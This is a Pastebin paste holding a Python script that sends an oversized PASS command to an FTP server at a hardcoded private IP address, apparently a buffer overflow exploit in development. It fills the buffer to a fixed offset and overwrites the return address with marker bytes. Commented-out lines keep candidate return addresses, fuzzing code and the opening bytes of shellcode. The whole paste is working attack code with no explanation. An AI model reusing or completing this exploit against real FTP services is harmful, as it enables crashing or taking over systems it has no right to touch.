Guest User

Untitled

a guest
Jun 18th, 2018
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. #!/usr/bin/python
  2. import socket
  3.  
  4. buffer='\x41'*2571
  5. buffer+='\x42'*4
  6. #buffer+='\xbf\xac\xda\x77' #0x7c81129b 0x7c8293fa 0x7c8135ce 0x77daacbf
  7. #buffer+='\x43'*16
  8. #buffer+=("\xdb\xc3\xb8\xf6\x8f\x6a\xf1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x49"
  9.  
  10.  
  11. #counter=1
  12. #while len(buffer) <= 3000:
  13. # buffer.append("A"*counter)
  14. # counter=counter+1
  15.  
  16. # Define the FTP commands to be fuzzed
  17. #commands=["APPE"]
  18.  
  19. # Run the fuzzing loop
  20.  
  21. #for string in buffer:
  22. # print ("Fuzzing: USER " +str(len(string)))
  23. s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  24. connect=s.connect(('192.168.0.97',21)) #hardcoded IP address
  25. s.recv(1024)
  26. s.send('USER anonymous\r\n') # login procedure
  27. s.recv(1024)
  28. s.send('PASS \x2c' +buffer+ '\r\n')
  29. s.recv(1024)
  30. s.send('QUIT\r\n')
  31. s.close()
Add Comment
Please, Sign In to add comment